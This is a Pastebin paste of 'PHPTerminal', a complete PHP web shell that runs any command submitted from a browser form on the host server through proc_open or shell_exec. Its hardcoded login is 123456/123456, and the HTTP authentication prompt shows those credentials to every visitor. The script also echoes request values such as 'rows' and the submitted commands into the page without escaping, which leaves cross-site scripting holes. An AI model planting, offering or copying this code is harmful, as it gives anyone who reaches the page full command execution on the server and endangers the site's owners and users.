manman89

PHPTerminal

Nov 14th, 2012
47
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 26.87 KB | None | 0 0
  1. <?php
  2. /*
  3.     **************************************************************
  4.     *                      PHPTerminal                           *
  5.     **************************************************************
  6.    
  7.     This program is free software; you can redistribute it and/or
  8.     modify it under the terms of the GNU General Public License
  9.     as published by the Free Software Foundation; either version 2
  10.     of the License, or (at your option) any later version.
  11.    
  12.     This program is distributed in the hope that it will be useful,
  13.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  14.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  15.     GNU General Public License for more details.
  16.    
  17.     You can get a copy of the GNU General Public License from this
  18.     address: http://www.gnu.org/copyleft/gpl.html#SEC1
  19.     You can also write to the Free Software Foundation, Inc., 59 Temple
  20.     Place - Suite 330, Boston, MA  02111-1307, USA.
  21.    
  22.     This project is inspired and based on PHP Shell 2.0! Please visit:
  23.     http://www.gimpster.com/wiki/PhpShell
  24.    
  25.     bzrudi
  26. */
  27.  
  28. /* User config options */
  29.  
  30. // example (single user)
  31. // $passwd = array('user' => 'passwd');
  32.  
  33. // example (multiple user)
  34. // $passwd = array('usera' => 'passwd',
  35. //      'userb' => 'passwd');
  36. // and so on...
  37.  
  38. $passwd = array('123456' => '123456');
  39.  
  40. $aliases = array('la'   => 'ls -la',
  41.         'll'    => 'ls -lvhF',
  42.         'dir'   => 'ls' );
  43.  
  44. /* do NOT change anything below this line */
  45.  
  46. error_reporting(E_ALL);
  47.  
  48. class phpTerm
  49. {
  50.  
  51. function phpTerm()
  52. {} // constructor
  53.  
  54. function formatPrompt()
  55. {
  56.     $user=shell_exec("whoami");
  57.     $host=explode(".", shell_exec("uname -n"));
  58.     $_SESSION['prompt'] = "".rtrim($user).""."@"."".rtrim($host[0])."";
  59. }
  60.  
  61. function checkPassword($passwd)
  62. {
  63. if(!isset($_SERVER['PHP_AUTH_USER'])||
  64.     !isset($_SERVER['PHP_AUTH_PW']) ||
  65.     !isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
  66.     $passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW'])
  67.     {
  68.         @session_destroy();
  69.         return false;
  70.     }
  71.     else
  72.     {
  73.         @session_start();
  74.         return true;
  75.     }
  76. }
  77.  
  78. function logout($logout)
  79. {
  80. if($logout==true){
  81.    
  82.     header('WWW-Authenticate: Basic realm=":: PHP-Terminal  =>  Please Click Cancel ::"');
  83.     header('HTTP/1.0 401 Unauthorized');
  84.     exit();
  85. }
  86. }
  87.  
  88. function phpCheckVersion($min_version)
  89. {
  90. $is_version=phpversion();
  91.  
  92. list($v1,$v2,$v3,$v4) = sscanf($is_version,"%d.%d.%d%s");
  93. list($m1,$m2,$m3,$m4) = sscanf($min_version,"%d.%d.%d%s");
  94.  
  95.     if($v1>$m1)
  96.     return(1);
  97.         elseif($v1<$m1)
  98.         return(0);
  99.     if($v2>$m2)
  100.     return(1);
  101.         elseif($v2<$m2)
  102.         return(0);
  103.     if($v3>$m3)
  104.     return(1);
  105.         elseif($v3<$m3)
  106.         return(0);
  107.  
  108.     if((!$v4)&&(!$m4))
  109.     return(1);
  110.     if(($v4)&&(!$m4))
  111.     {
  112.         $is_version=strpos($v4,"pl");
  113.         if(is_integer($is_version))
  114.         return(1);
  115.         return(0);
  116.     }
  117.     elseif((!$v4)&&($m4))
  118.     {
  119.         $is_version=strpos($m4,"rc");
  120.         if(is_integer($is_version))
  121.         return(1);
  122.     return(0);
  123.     }
  124. return(0);
  125. }
  126.  
  127. function initVars()
  128. {
  129. if (empty($_SESSION['cwd']) || @!empty($_GET['reset']))
  130. {
  131.     $_SESSION['cwd'] = getcwd();
  132.     $_SESSION['history'] = array();
  133.     $_SESSION['output'] = '';
  134.     $_REQUEST['command'] ='';
  135.     $_SESSION['color'] = 'linux';
  136. }
  137. }
  138.  
  139. function buildCommandHistory()
  140. {
  141. if(!empty($_REQUEST['command']))
  142. {
  143.     if(get_magic_quotes_gpc())
  144.     {
  145.         $_REQUEST['command'] = stripslashes($_REQUEST['command']);
  146.     }
  147.    
  148.     // drop old commands from list if exists
  149.     if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
  150.     {
  151.         unset($_SESSION['history'][$i]);
  152.     }
  153.     array_unshift($_SESSION['history'], $_REQUEST['command']);
  154.  
  155.     // append commmand */
  156.     $_SESSION['output'] .= "{$_SESSION['prompt']}".":>"."{$_REQUEST['command']}"."\n";
  157. }
  158. }
  159.  
  160. function buildJavaHistory()
  161. {
  162.     // build command history for use in the JavaScript
  163.     if (empty($_SESSION['history']))
  164.     {
  165.         $_SESSION['js_command_hist'] = '""';
  166.     }
  167.     else
  168.     {
  169.         $escaped = array_map('addslashes', $_SESSION['history']);
  170.         $_SESSION['js_command_hist'] = '"", "' . implode('", "', $escaped) . '"';
  171.     }
  172. }
  173.  
  174. function setTerminalColor($color)
  175. {
  176. //$_SESSION['color']="$color";
  177.  
  178. // terminal colors
  179. switch($color)
  180. {
  181.     case "linux":
  182.     {
  183.         echo "<style>textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #000000;}
  184.         p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #CCCCCC;}
  185.         input.prompt {border: none; font-family: monospace; background-color: #000000; color: #CCCCCC;}</style>";
  186.     break;
  187.     }
  188.     case "green":
  189.     {
  190.         echo "<style>
  191.         textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #00C000; background-color: #000000;}
  192.         p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #00C000;}
  193.         input.prompt {border: none; font-family: monospace; background-color: #000000; color: #00C000;}</style>";
  194.     break;
  195.     }
  196.     case "black":
  197.     {
  198.         echo "<style>
  199.         textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #000000; background-color: #00C000;}
  200.         p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #00C000; color: #000000;}
  201.         input.prompt {border: none; font-family: monospace; background-color: #00C000; color: #000000;}</style>";
  202.     break;
  203.     }
  204.     case "gray":
  205.     {
  206.         echo "<style>
  207.         textarea {width: 99.5%; border: none; margin: 0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #0000FF;}
  208.         p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #0000FF; color: #CCCCCC;}
  209.         input.prompt {border: none; font-family: monospace; background-color: #0000FF; color: #CCCCCC;}</style>";
  210.     break;
  211.     }
  212.     default:
  213.     {
  214.         echo "<style>textarea {width: 99.5%; border: none; margin:0px; padding: 2px 2px 2px; color: #CCCCCC; background-color: #000000;}
  215.         p {font-family: monospace; margin: 0px; padding: 0px 2px 2px; background-color: #000000; color: #CCCCCC;}
  216.         input.prompt {border: none; font-family: monospace; background-color: #000000; color: #CCCCCC;}</style>";
  217.     break;
  218.     }
  219. }
  220. }
  221.  
  222. function outputHandle($aliases)
  223. {
  224. if (ereg('^[[:blank:]]*cd[[:blank:]]*$', @$_REQUEST['command']))
  225. {
  226.     $_SESSION['cwd'] = getcwd(); //dirname(__FILE__);
  227. }
  228. elseif(ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', @$_REQUEST['command'], $regs))
  229. {
  230.     // The current command is 'cd', which we have to handle as an internal shell command.
  231.     // absolute/relative path ?"
  232.     ($regs[1][0] == '/') ? $new_dir = $regs[1] : $new_dir = $_SESSION['cwd'] . '/' . $regs[1];
  233.        
  234.     // cosmetics
  235.     while (strpos($new_dir, '/./') !== false)
  236.     $new_dir = str_replace('/./', '/', $new_dir);
  237.     while (strpos($new_dir, '//') !== false)
  238.     $new_dir = str_replace('//', '/', $new_dir);
  239.     while (preg_match('|/\.\.(?!\.)|', $new_dir))
  240.     $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
  241.  
  242.     if(empty($new_dir)): $new_dir = "/"; endif;
  243.  
  244.     (@chdir($new_dir)) ? $_SESSION['cwd'] = $new_dir : $_SESSION['output'] .= "could not change to: $new_dir\n";
  245. }
  246. else
  247. {
  248.         /* The command is not a 'cd' command, so we execute it after
  249.         changing the directory and save the output. */
  250.         chdir($_SESSION['cwd']);
  251.  
  252.         /* Alias expansion. */
  253.         $length = strcspn(@$_REQUEST['command'], " \t");
  254.         $token = substr(@$_REQUEST['command'], 0, $length);
  255.         if (isset($aliases[$token]))
  256.             $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
  257.        
  258.            
  259.         if($this->phpCheckVersion("4.3.0"))
  260.         {  
  261.             $p = proc_open(@$_REQUEST['command'],
  262.                 array(1 => array('pipe', 'w'),
  263.                 2 => array('pipe', 'w')), $io);
  264.    
  265.             /* Read output sent to stdout. */
  266.             while (!feof($io[1])) {
  267.             $_SESSION['output'] .= htmlspecialchars(fgets($io[1]),ENT_COMPAT, 'UTF-8');
  268.             }
  269.             /* Read output sent to stderr. */
  270.             while (!feof($io[2])) {
  271.             $_SESSION['output'] .= htmlspecialchars(fgets($io[2]),ENT_COMPAT, 'UTF-8');
  272.             }
  273.            
  274.             fclose($io[1]);
  275.             fclose($io[2]);
  276.             proc_close($p);
  277.         }
  278.         else
  279.         {
  280.             $stdout=shell_exec($_REQUEST['command']);
  281.             $_SESSION['output'] .= htmlspecialchars($stdout,ENT_COMPAT, 'UTF-8');
  282.         }
  283.     }
  284. }
  285. } // end phpTerm
  286.  
  287. /*##########################################################
  288. ## The main thing starts here
  289. ## All output ist XHTML
  290. ##########################################################*/
  291.  
  292. $terminal = new phpTerm;
  293.  
  294. $terminal->logout(@$_GET['logout']);
  295.  
  296. if(!$terminal->checkPassword($passwd))
  297. {
  298.         header('WWW-Authenticate: Basic realm=":: PHP-Terminal  =>  DEFAULT CONFIG  =>  Username : 123456  =>  Password : 123456 ::"');
  299.         header('HTTP/1.0 401 Unauthorized');
  300. }
  301. else
  302. {
  303. $terminal->initVars();
  304. $terminal->buildCommandHistory();
  305. $terminal->buildJavaHistory();
  306. if(!isset($_SESSION['prompt'])):$terminal->formatPrompt(); endif;
  307. $terminal->outputHandle($aliases);
  308. if(isset($_GET['color'])) : $_SESSION['color']=$_GET['color']; endif;
  309. /*
  310. echo '<?xml version="1.0" encoding="UTF-8" ?>' . "\n";
  311. */
  312. ?>
  313. <!--<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">-->
  314. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  315. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  316. <head>
  317.   <title>PHP-Terminal </title>
  318.   <?php $terminal->setTerminalColor(@$_SESSION['color']); ?>
  319.  
  320. <!-- Begin CSS -->
  321. <style type="text/css">
  322.  
  323. body {font-family: sans-serif; color: black; background: white;}
  324. table.main{width: 600px; height: 300px; border: 1px #000000 solid; padding: 0px; margin: 0px;}
  325. td.head{background-color: #529ADE; color: #FFFFFF; font-weight:700; border: none;
  326.     text-align: center; font-style: italic; font-size:12pt;}
  327. td.head_x{background-color: #529ADE; color: #000000; font-weight:700; border: none;
  328.     text-align: left; font-size:16pt;}
  329. }
  330. a.href{font-size:70%;}
  331.  
  332. .ddm1 {
  333.     font: 11px tahoma;
  334. }
  335. .ddm1 .item1,
  336. .ddm1 .item1:hover,
  337. .ddm1 .item1-active,
  338. .ddm1 .item1-active:hover {
  339.     padding: 3px 8px 4px 8px;
  340.     border: 1px #003366;
  341.     border-style: solid none solid none;
  342.     text-decoration: none;
  343.     display: block;
  344.     position: relative;
  345. }
  346. .ddm1 .item1 {
  347.     background: #CCCCCC; /*#0EA138;*/
  348.     color: #000000;
  349. }
  350. .ddm1 .item1:hover,
  351. .ddm1 .item1-active,
  352. .ddm1 .item1-active:hover {
  353.     background: #529ADE;
  354.     color: #ffffff;
  355. }
  356. .ddm1 .item2,
  357. .ddm1 .item2:hover {
  358.     padding: 3px 8px 4px 8px;
  359.     text-decoration: none;
  360.     display: block;
  361.     white-space: nowrap;
  362. }
  363. .ddm1 .item2 {
  364.     background: #CCCCCC;
  365.     color: #000000;
  366. }
  367. .ddm1 .item2:hover {
  368.     background: #529ADE;
  369.     color: #ffffff;
  370. }
  371. .ddm1 .section {
  372.     border: 1px #003366;
  373.     border-style: solid solid solid solid;
  374.     position: absolute;
  375.     visibility: hidden;
  376.     z-index: -1;
  377.     white-space: nowrap;
  378. }
  379. .ddm1 .left, .ddm1 .left:hover { border-style: solid none solid solid; }
  380. .ddm1 .right, .ddm1 .right:hover { border-style: solid solid solid none; }
  381.  
  382. * html .ddm1 td { position: relative; } /* ie 5.0 fix */
  383.  
  384. </style>
  385. <!-- End CSS -->
  386.  
  387.   <script type="text/javascript" language="JavaScript">
  388.   var current_line = 0;
  389.   var command_hist = new Array(<?php echo $_SESSION['js_command_hist']; ?>);
  390.   var last = 0;
  391.    
  392.   function key(e) {
  393.     if (!e) var e = window.event;
  394.  
  395.     if (e.keyCode == 38 && current_line < command_hist.length-1) {
  396.       command_hist[current_line] = document.shell.command.value;
  397.       current_line++;
  398.       document.shell.command.value = command_hist[current_line];
  399.     }
  400.  
  401.     if (e.keyCode == 40 && current_line > 0) {
  402.       command_hist[current_line] = document.shell.command.value;
  403.       current_line--;
  404.       document.shell.command.value = command_hist[current_line];
  405.     }
  406.  
  407.   }
  408.  
  409. function init() {
  410.   document.shell.setAttribute("autocomplete", "off");
  411.   document.shell.output.scrollTop = document.shell.output.scrollHeight;
  412.   document.shell.command.focus();
  413. }
  414.  
  415. </script>
  416.  
  417. <!-- Begin Menu -->
  418. <script>
  419. /*
  420.  * DO NOT REMOVE THIS NOTICE
  421.  *
  422.  * PROJECT:   mygosuMenu
  423.  * VERSION:   1.0.8
  424.  * COPYRIGHT: (c) 2003,2004 Cezary Tomczak
  425.  * LINK:      http://gosu.pl/dhtml/mygosumenu.html
  426.  * LICENSE:   BSD (revised)
  427.  */
  428.  
  429. function DropDownMenu1(id) {
  430.  
  431.     /* Type of the menu: "horizontal" or "vertical" */
  432.     this.type = "horizontal";
  433.  
  434.     /* Delay (in miliseconds >= 0): show-hide menu */
  435.     this.delay = {
  436.         "show": 0,
  437.         "hide": 300
  438.     }
  439.     /* Change the default position of sub-menu by Y pixels from top and X pixels from left
  440.      * Negative values are allowed */
  441.     this.position = {
  442.         "top": 0,
  443.         "left": 0
  444.     }
  445.     /* Z-index property for .section */
  446.     this.zIndex = {
  447.         "visible": 1,
  448.         "hidden": -1
  449.     };
  450.  
  451.     // Browser detection
  452.     this.browser = {
  453.         "ie": Boolean(document.body.currentStyle),
  454.         "ie5": (navigator.appVersion.indexOf("MSIE 5.5") != -1 || navigator.appVersion.indexOf("MSIE 5.0") != -1)
  455.     };
  456.     if (!this.browser.ie) { this.browser.ie5 = false; }
  457.  
  458.     /* Initialize the menu */
  459.     this.init = function() {
  460.         if (!document.getElementById(this.id)) { return alert("DropDownMenu1.init() failed. Element '"+ this.id +"' does not exist."); }
  461.         if (this.type != "horizontal" && this.type != "vertical") { return alert("DropDownMenu1.init() failed. Unknown menu type: '"+this.type+"'"); }
  462.         if (this.browser.ie && this.browser.ie5) { fixWrap(); }
  463.         fixSections();
  464.         parse(document.getElementById(this.id).childNodes, this.tree, this.id);
  465.     }
  466.  
  467.     /* Search for .section elements and set width for them */
  468.     function fixSections() {
  469.         var arr = document.getElementById(self.id).getElementsByTagName("div");
  470.         var sections = new Array();
  471.         var widths = new Array();
  472.        
  473.         for (var i = 0; i < arr.length; i++) {
  474.             if (arr[i].className == "section") {
  475.                 sections.push(arr[i]);
  476.             }
  477.         }
  478.         for (var i = 0; i < sections.length; i++) {
  479.             widths.push(getMaxWidth(sections[i].childNodes));
  480.         }
  481.         for (var i = 0; i < sections.length; i++) {
  482.             sections[i].style.width = (widths[i]) + "px";
  483.         }
  484.         if (self.browser.ie) {
  485.             for (var i = 0; i < sections.length; i++) {
  486.                 setMaxWidth(sections[i].childNodes, widths[i]);
  487.             }
  488.         }
  489.     }
  490.  
  491.     function fixWrap() {
  492.         var elements = document.getElementById(self.id).getElementsByTagName("a");
  493.         for (var i = 0; i < elements.length; i++) {
  494.             if (/item2/.test(elements[i].className)) {
  495.                 elements[i].innerHTML = '<div nowrap="nowrap">'+elements[i].innerHTML+'</div>';
  496.             }
  497.         }
  498.     }
  499.  
  500.     /* Search for an element with highest width among given nodes, return that width */
  501.     function getMaxWidth(nodes) {
  502.         var maxWidth = 0;
  503.         for (var i = 0; i < nodes.length; i++) {
  504.             if (nodes[i].nodeType != 1) { continue; }
  505.             if (nodes[i].offsetWidth > maxWidth) { maxWidth = nodes[i].offsetWidth; }
  506.         }
  507.         return maxWidth;
  508.     }
  509.  
  510.     /* Set width for item2 elements */
  511.     function setMaxWidth(nodes, maxWidth) {
  512.         for (var i = 0; i < nodes.length; i++) {
  513.             if (nodes[i].nodeType == 1 && /item2/.test(nodes[i].className) && nodes[i].currentStyle) {
  514.                 if (self.browser.ie5) {
  515.                     nodes[i].style.width = (maxWidth) + "px";
  516.                 } else {
  517.                     nodes[i].style.width = (maxWidth - parseInt(nodes[i].currentStyle.paddingLeft) - parseInt(nodes[i].currentStyle.paddingRight)) + "px";
  518.                 }
  519.             }
  520.         }
  521.     }
  522.  
  523.     /* Parse nodes, create events, position elements */
  524.     function parse(nodes, tree, id) {
  525.         for (var i = 0; i < nodes.length; i++) {
  526.             if (1 != nodes[i].nodeType) {
  527.                 continue;
  528.             }
  529.             switch (true) {
  530.                 // .item1
  531.                 case /\bitem1\b/.test(nodes[i].className):
  532.                     nodes[i].id = id + "-" + tree.length;
  533.                     tree.push(new Array());
  534.                     nodes[i].onmouseover = item1over;
  535.                     nodes[i].onmouseout = item1out;
  536.                     break;
  537.                 // .item2
  538.                 case /\bitem2\b/.test(nodes[i].className):
  539.                     nodes[i].id = id + "-" + tree.length;
  540.                     tree.push(new Array());
  541.                     break;
  542.                 // .section
  543.                 case /\bsection\b/.test(nodes[i].className):
  544.                     // id, events
  545.                     nodes[i].id = id + "-" + (tree.length - 1) + "-section";
  546.                     nodes[i].onmouseover = sectionOver;
  547.                     nodes[i].onmouseout = sectionOut;
  548.                     // position
  549.                     var box1 = document.getElementById(id + "-" + (tree.length - 1));
  550.                     var box2 = document.getElementById(nodes[i].id);
  551.                     if ("horizontal" == self.type) {
  552.                         box2.style.top = box1.offsetTop + box1.offsetHeight + self.position.top + "px";
  553.                         if (self.browser.ie5) {
  554.                             box2.style.left = self.position.left + "px";
  555.                         } else {
  556.                             box2.style.left = box1.offsetLeft + self.position.left + "px";
  557.                         }
  558.                     } else if ("vertical" == self.type) {
  559.                         box2.style.top = box1.offsetTop + self.position.top + "px";
  560.                         if (self.browser.ie5) {
  561.                             box2.style.left = box1.offsetWidth + self.position.left + "px";
  562.                         } else {
  563.                             box2.style.left = box1.offsetLeft + box1.offsetWidth + self.position.left + "px";
  564.                         }
  565.                     }
  566.                     // sections, sectionsShowCnt, sectionsHideCnt
  567.                     self.sections.push(nodes[i].id);
  568.                     self.sectionsShowCnt.push(0);
  569.                     self.sectionsHideCnt.push(0);
  570.                     break;
  571.             }
  572.             if (nodes[i].childNodes) {
  573.                 if (/\bsection\b/.test(nodes[i].className)) {
  574.                     parse(nodes[i].childNodes, tree[tree.length - 1], id + "-" + (tree.length - 1));
  575.                 } else {
  576.                     parse(nodes[i].childNodes, tree, id);
  577.                 }
  578.             }
  579.         }
  580.     }
  581.  
  582.     /* event, item1:onmouseover */
  583.     function item1over() {
  584.         var id_section = this.id + "-section";
  585.         if (self.visible) {
  586.             var el = new Element(self.visible);
  587.             el = document.getElementById(el.getParent().id);
  588.             if (/item1-active/.test(el.className)) {
  589.                 el.className = el.className.replace(/item1-active/, "item1");
  590.             }
  591.         }
  592.         if (self.sections.contains(id_section)) {
  593.             self.sectionsHideCnt[self.sections.indexOf(id_section)]++;
  594.             var cnt = self.sectionsShowCnt[self.sections.indexOf(id_section)];
  595.             setTimeout(function(a, b) { return function() { self.showSection(a, b); } } (id_section, cnt), self.delay.show);
  596.         } else {
  597.             if (self.visible) {
  598.                 var cnt = self.sectionsHideCnt[self.sections.indexOf(self.visible)];
  599.                 setTimeout(function(a, b) { return function() { self.hideSection(a, b); } } (self.visible, cnt), self.delay.show);
  600.             }
  601.         }
  602.     }
  603.  
  604.     /* event, item1:onmouseout */
  605.     function item1out() {
  606.         var id_section = this.id + "-section";
  607.         if (self.sections.contains(id_section)) {
  608.             self.sectionsShowCnt[self.sections.indexOf(id_section)]++;
  609.             if (id_section == self.visible) {
  610.                 var cnt = self.sectionsHideCnt[self.sections.indexOf(id_section)];
  611.                 setTimeout(function(a, b) { return function() { self.hideSection(a, b); } }(id_section, cnt), self.delay.hide);
  612.             }
  613.         }
  614.     }
  615.  
  616.     /* event, section:onmouseover */
  617.     function sectionOver() {
  618.         self.sectionsHideCnt[self.sections.indexOf(this.id)]++;
  619.         var el = new Element(this.id);
  620.         el = document.getElementById(el.getParent().id);
  621.         if (!/item1-active/.test(el.className)) {
  622.             el.className = el.className.replace(/item1/, "item1-active");
  623.         }
  624.     }
  625.  
  626.     /* event, section:onmouseout */
  627.     function sectionOut() {
  628.         self.sectionsShowCnt[self.sections.indexOf(this.id)]++;
  629.         var cnt = self.sectionsHideCnt[self.sections.indexOf(this.id)];
  630.         setTimeout(function(a, b) { return function() { self.hideSection(a, b); } }(this.id, cnt), self.delay.hide);
  631.     }
  632.  
  633.     /* Show section (1 argument passed)
  634.      * Try to show section (2 arguments passed) - check cnt with sectionShowCnt */
  635.     this.showSection = function(id, cnt) {
  636.         if (typeof cnt != "undefined") {
  637.             if (cnt != this.sectionsShowCnt[this.sections.indexOf(id)]) { return; }
  638.         }
  639.         this.sectionsShowCnt[this.sections.indexOf(id)]++;
  640.         var el = new Element(id);
  641.         var parent = document.getElementById(el.getParent().id);
  642.         if (!/item1-active/.test(parent.className)) {
  643.             parent.className = parent.className.replace(/item1/, "item1-active");
  644.         }
  645.         if (this.visible) {
  646.             if (id == this.visible) { return; }
  647.             this.hideSection(this.visible);
  648.         }
  649.         //document.getElementById(id).style.display = "block";
  650.         document.getElementById(id).style.visibility = "visible";
  651.         document.getElementById(id).style.zIndex = this.zIndex.visible;
  652.         this.visible = id;
  653.     }
  654.  
  655.     /* Hide section (1 argument passed)
  656.      * Try to hide section (2 arguments passed) - check cnt with sectionHideCnt */
  657.     this.hideSection = function(id, cnt) {
  658.         if (typeof cnt != "undefined") {
  659.             if (cnt != this.sectionsHideCnt[this.sections.indexOf(id)]) { return; }
  660.         }
  661.         var el = new Element(id);
  662.         var parent = document.getElementById(el.getParent().id);
  663.         parent.className = parent.className.replace(/item1-active/, "item1");
  664.         document.getElementById(id).style.zIndex = this.zIndex.hidden;
  665.         document.getElementById(id).style.visibility = "hidden";
  666.         //document.getElementById(id).style.display = "none";
  667.         if (id == this.visible) { this.visible = ""; }
  668.         else {
  669.             //throw "DropDownMenu1.hideSection('"+id+"', "+cnt+") failed, cannot hide element that is not visible";
  670.             return;
  671.         }
  672.         this.sectionsHideCnt[this.sections.indexOf(id)]++;
  673.     }
  674.  
  675.     /* Necessary when showing section that doesn't exist - hide currently visible section. See: item1over() */
  676.     this.hideSelf = function(cnt) {
  677.         if (this.visible && cnt == this.sectionsHideCnt[this.sections.indexOf(this.visible)]) {
  678.             this.hideSection(this.visible);
  679.         }
  680.     }
  681.  
  682.     /* Element (.section, .item2 etc) */
  683.     function Element(id) {
  684.         /* Get parent element */
  685.         this.getParent = function() {
  686.             var s = this.id.substr(this.menu.id.length);
  687.             var a = s.split("-");
  688.             a.pop();
  689.             return new Element(this.menu.id + a.join("-"));
  690.         }
  691.         this.menu = self;
  692.         this.id = id;
  693.     }
  694.  
  695.     var self = this;
  696.     this.id = id; /* menu id */
  697.     this.tree = []; /* tree structure of menu */
  698.     this.sections = []; /* all sections, required for timeout */
  699.     this.sectionsShowCnt = [];
  700.     this.sectionsHideCnt = [];
  701.     this.visible = ""; /* visible section, ex. menu-0-section */
  702. }
  703.  
  704. /* Finds the index of the first occurence of item in the array, or -1 if not found */
  705. if (typeof Array.prototype.indexOf == "undefined") {
  706.     Array.prototype.indexOf = function(item) {
  707.         for (var i = 0; i < this.length; i++) {
  708.             if ((typeof this[i] == typeof item) && (this[i] == item)) {
  709.                 return i;
  710.             }
  711.         }
  712.         return -1;
  713.     }
  714. }
  715.  
  716. /* Check whether array contains given string */
  717. if (typeof Array.prototype.contains == "undefined") {
  718.     Array.prototype.contains = function(s) {
  719.         for (var i = 0; i < this.length; i++) {
  720.             if (this[i] === s) {
  721.                 return true;
  722.             }
  723.         }
  724.         return false;
  725.     }
  726. }
  727. </script>
  728. <!-- End Menu -->
  729.  
  730. </head>
  731.  
  732. <body onload="init()">
  733.  
  734. <?php if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24; ?>
  735.  
  736. <table border="0" class="main" cellpadding="0" cellspacing="0">
  737. <tr>
  738.     <td class="head_x" width="2%"><b>&nbsp;X</b></td>
  739.     <td class="head"><?php echo $_SESSION['prompt'].":"."$_SESSION[cwd]"; ?>    </td>
  740. </tr>
  741.  
  742. <tr><td colspan='2'>
  743.     <table width="100%" cellpadding="0" cellspacing="0" class="ddm1" id="menu1" >
  744.     <tr>
  745.         <td><a class='item1' href='javascript:void(0)'><b>Edit</b></a>
  746.             <div class='section'>
  747.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?reset=true"?>'>Reset Console</a>
  748.             </div>
  749.         </td>
  750.         <td><a class='item1' href='javascript:void(0)'><b>Colors</b></a>
  751.             <div class='section'>
  752.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?color=linux"?>'>Linux Default</a>
  753.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?color=green"?>'>Green on Black</a>
  754.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?color=gray"?>'>Gray on Blue</a>
  755.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?color=black"?>'>Black on Green</a>
  756.  
  757.             </div>
  758.         </td>
  759.         <td><a class='item1' href='javascript:void(0)'><b>Size</b></a>
  760.             <div class='section'>
  761.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?rows=24"?>'>80x24 (default)</a>
  762.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?rows=30"?>'>80x30</a>
  763.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?rows=35"?>'>80x35</a>
  764.                 <a class='item2' href='<?php echo  $_SERVER['PHP_SELF']."?rows=40"?>'>80x40</a>
  765.  
  766.             </div>
  767.         </td>
  768.         <td><a class='item1' href='#'><b>Tools</b></a>
  769.             <div class='section'>
  770.                 <a class='item2' href="#">nothing yet</a>
  771.             </div>
  772.         </td>
  773.         <td><a class='item1' href="<?php echo $_SERVER['PHP_SELF']?>"><b>Help</b></a>
  774.             <div class='section'>
  775.                 <a class='item2' href="#">nothing yet</a>
  776.             </div>
  777.         </td>
  778.         <td><a class='item1' href="<?php echo $_SERVER['PHP_SELF']."?logout=true"?>"><b>Logout</b></a>
  779.         </td>
  780.     </tr>
  781.     </table>
  782. </td></tr>
  783.  
  784.  
  785.  
  786.  
  787. <form name="shell" action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
  788. <tr>
  789.     <td colspan='2' nowrap>
  790.     <textarea name="output" readonly="readonly" rows="<?php echo $_REQUEST['rows']; ?>"><?php
  791.         $lines = substr_count($_SESSION['output'], "\n");
  792.         $padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
  793.         echo rtrim($padding . $_SESSION['output']);
  794.     ?>
  795.     </textarea>
  796.     <p><font size="-1">
  797.         <?php echo $_SESSION['prompt']."/".str_replace('/', '', strrchr($_SESSION['cwd'], '/')).">"; ?>
  798.         <input class="prompt" name="command" type="text"  size='50' onkeyup="key(event)" tabindex="1">
  799.     </font></p>
  800.     </td>
  801. </tr></form>
  802.  
  803. <tr>
  804.     <td colspan='2' bgcolor='#CCCCCC' height='20px' align="right">PHP Terminal 0.3.0 ready! &copy; bzrudi 2004</td>
  805. </tr>
  806. </table>
  807. <script type="text/javascript">
  808. var ddm1 = new DropDownMenu1('menu1');
  809. ddm1.init();
  810. </script>
  811.  
  812. </body>
  813. </html>
  814. <?php } ?>
Advertisement
Add Comment
Please, Sign In to add comment